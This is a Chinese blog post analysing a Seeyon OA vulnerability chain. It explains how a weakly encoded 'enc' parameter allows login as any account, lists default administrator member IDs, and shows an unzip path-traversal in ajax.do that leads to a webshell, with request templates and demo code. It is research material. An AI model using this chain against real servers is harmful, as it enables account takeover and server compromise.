前言
hw已经开始2天啦,期间爆出不少漏洞,这也是一个不错的学习机会,可以学一下大佬的挖洞姿势。远海昨晚熬夜分析了X远的这个组合洞,感觉还是挺不错的,因此就直接发出来供大家学习参考。
另外文末我打算再抽一个赛博回忆录知识星球的免费名额,各位如果喜欢的话请多多关注和转发哈
正文
看到致远OA出现了漏洞,随笔写下分析文章。经典的组合漏洞。其实只要进了后台,还是有几个方法可以拿到shell的。
本机环境:
Windows 10
Mysql 5.5.37
S1 V1.9.5/Seeyon A8+/V7.0 SP1
一.任意账户登陆分析
根据互联网上的POC来看。漏洞在/thirdpartyController.do"
且method为access
.
根据xml配置文件确定thirdpartyController.do
对应类为com.seeyon.ctp.portal.sso.thirdpartyintegration.controller.ThirdpartyController
漏洞分析: 主要问题在于enc参数的加解密上。
if (request.getParameter("enc") != null) {
enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
} else {
String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);
enc = (request.getQueryString().indexOf("enc=") > 0) ? LightWeightEncoder.decodeString(transcode) : null;
}
if (enc == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}
如果enc参数的值不为空。则进LightWeightEncoder.decodeString
进行解密。这里切入LightWeightEncoder
类。 定义了两个方法,
encodeString
和decodeString
.及加密/解密。也就是说,在enc不为空条件下,将其内容传入decodeString
方法进行解密。
加解密的规则是将字符通过toCharArray()
方法转换为字符数组。 然后通过for循环,将每个字符的char值上加一。
如:abcd => char() 97 98 99 100
转换后为:char() 98 99 100 101 => bcde
最后返回base64编码过后的内容。
回到thirdpartyController.do
中。看enc
解密过后的内容进行了哪些操作。
Map<String,String> encMap = new HashMap<String, String>();
String[] enc0 = enc.split("[&]");
for (String enc1 : enc0) {
String[] enc2 = enc1.split("[=]");
if (enc2 != null) {
String key = enc2[0];
String value = (enc2.length == 2) ? enc2[1] : null;
if (null != value) {
value = URLEncoder.encode(value);
value = value.replaceAll("%3F", "");
value = URLDecoder.decode(value);
}
encMap.put(key, value);
}
}
先创建了一个HashMap
。然后将enc的内容以&
进行分割。在以=
分割出key
和value
.后写入encMap中。
也就是说test=123
分割后key:test value:123
。
继续往下:
String linkType = encMap.get("L");
//取L键指
String path = encMap.get("P");
//取P键指
if (Strings.isNotBlank(linkType))//一次判空。 {
String startTimeStr = "0";//默认值
if (encMap.containsKey("T")) {
startTimeStr = encMap.get("T");//取T键值
startTimeStr = startTimeStr.trim();
}
Long timeStamp = Long.valueOf(0L);
if (NumberUtils.isNumber(startTimeStr)) {
timeStamp = Long.valueOf(Long.parseLong(startTimeStr));
} else {
timeStamp = Long.valueOf(DateUtil.parse(startTimeStr, "yyyy-MM-dd HH:mm:ss").getTime());
}
if ((System.currentTimeMillis() - timeStamp.longValue()) / 1000L > (this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
return mv;
}
String _memberId = encMap.get("M");
这里注意
encMap
的使用。主要变量有:linkType
,path
,startTimeStr
,_memberId
,ticket
分别取encMap中的:L
,P
,T
,M
,C
键的值。
startTimeStr
为T
键的值。下方对startTimeStr
进行判断,如果是数字,则转换成long
类型。如果不是数字,则按照yyyy-MM-dd HH:mm:ss
的格式转换为日期。在转换成long
类型的时间时间戳。
需要注意下方的if判断,如果System.currentTimeMillis()
的值减去startTimeStr
在除1000L如果大于getContentLinkValidity() * 60 * 60)
的值。则返回超时。这里的getContentLinkValidity
我没追到,应该是在消息邮件设置中配置。但返回的是个int类型。这里的startTimeStr
的随便传入一个较大的数字就行了。
接着往下走。。。
下方分别对linkType,_memberId的值进行了判空操作以及对link的赋值。
link=(String)UserMessageUtil.getMessageLinkType().get(linkType)
linkType的值有很多。网上的POC大多是message.link.doc.folder.open
。这个有很多,具体参考安装目录下的seeyon/WEB-INF/cfgHome/base/message-link.properties
文件,随便选一个就可以了。这里不重要,主要是为了让link
变量的值不为空。和后面的具体操作没啥关系。
若为空,都会返回mail.read.alert.wuxiao
下面就是关键的几个步骤了,也是漏洞点出现的地方。
如果当前会话中的com.seeyon.current_user
为空。那么进入esle
V3xOrgMember member = this.orgManager.getMemberById(Long.valueOf(memberId));
在else中,通过getMemberById
方法查询memberId
所对应的用户。如果member
不为空。则创建currentUser
对象
session.setAttribute("com.seeyon.current_user", currentUser);
在会话中设置用户信息。导致任意账户登陆。
这里的memberId
是取的 encMap
中的M
键值
String _memberId = encMap.get("M");
为可控参数。
该值安装时存在4个默认id。对应不同权限
"5725175934914479521" "集团管理员"
"-7273032013234748168" "系统管理员"
"-7273032013234748798" "系统监控"
"-4401606663639775639" "审计管理员"
POC:
获取Cookie
测试Cookie是否可用:
GET /seeyon/main.do?method=headerjs&login=-1448586625 HTTP/1.1
Host: 192.168.137.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: */*
Referer: http://192.168.137.1/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=<Payload>; loginPageURL=; login_locale=en
Connection: close
二.Getshell
文件上传就直接跳过了(没啥好看的)
这里主要分析ajax.do
POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913
Content-Length: 157
method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%222021-04-09%22%2C%225818374431215601542%22%5D
method
=ajaxAction
,managerName
=portalDesignerManager
,managerMethod
=uploadPageLayoutAttachment
参数:
arguments=[0,"2021-04-09","5818374431215601542"]
这里需要注意:
ajax.do
下的ajaxAction
是通过invokeService
方法是调用一些服务
POC中managerName
为portalDesignerManager
.当前环境A8+/V7.0SP1中,没有找到这个类。于是去低版本中扒了一个。(低版本才存在这个漏洞。具体影响版本未知)。
jar包为:seeyon-ctp-portal.jar
managerMethod
=uploadPageLayoutAttachment
传递的参数为:
arguments=[0,"2021-04-09","5818374431215601542"]
attchmentIdStr=0
createDate=2021-04-09
fileUrl=5818374431215601542
rootPath
为上传时产生的文件夹。(日期命名 年-月-日)
String rootPath = this.fileManager.getFolder(Datetimes.parse(createDate, "yyyy-MM-dd"), false);
fileUrl
为上传时返回的 fileid
后面直接使用ZipUtil进行解压
String filePath = rootPath + File.separator + fileUrl;
File zipFile = new File(filePath);
String pageLayoutId = String.valueOf(UUIDLong.longUUID());
String relativePath = File.separator + "common/designer/pageLayout" + File.separator + pageLayoutId + File.separator;
String uploadPageLayoutPath = pageLayoutRootPath + relativePath;
File unzipDirectory = new File(uploadPageLayoutPath);
ZipUtil.unzip(zipFile, unzipDirectory);
解压后的路径是common/designer/pageLayout
+一层uuid。这里可以尝试跨目录。
参考文章:https://www.o2oxy.cn/3394.html
由于本地环境太新了。。。没这个漏洞,所以,我把所需要的jar包导出来本地写了个demo
import com.seeyon.ctp.common.SystemEnvironment;
import com.seeyon.ctp.util.UUIDLong;
import com.seeyon.ctp.util.ZipUtil;
import java.io.File;
import java.io.IOException;
public class main {
public static void main(String[] args) throws IOException {
String pageLayoutRootPath = SystemEnvironment.getApplicationFolder();
String fileUrl="1.zip";
String rootPath = "/Users/yuanhai/Desktop/Seeyon/2021-4-11";
String filePath = rootPath + File.separator + fileUrl;
File zipFile = new File(filePath);
String pageLayoutId = String.valueOf(UUIDLong.longUUID());
String relativePath = File.separator + "common/designer/pageLayout" + File.separator + pageLayoutId + File.separator;
String uploadPageLayoutPath = pageLayoutRootPath + relativePath;
File unzipDirectory = new File(uploadPageLayoutPath);
ZipUtil.unzip(zipFile, unzipDirectory);
}
}
文件正常解压,可getshell。
分析到此结束。
抽奖环节
关注加转发即可哈
本文始发于微信公众号(赛博回忆录):最新X远OA系列漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论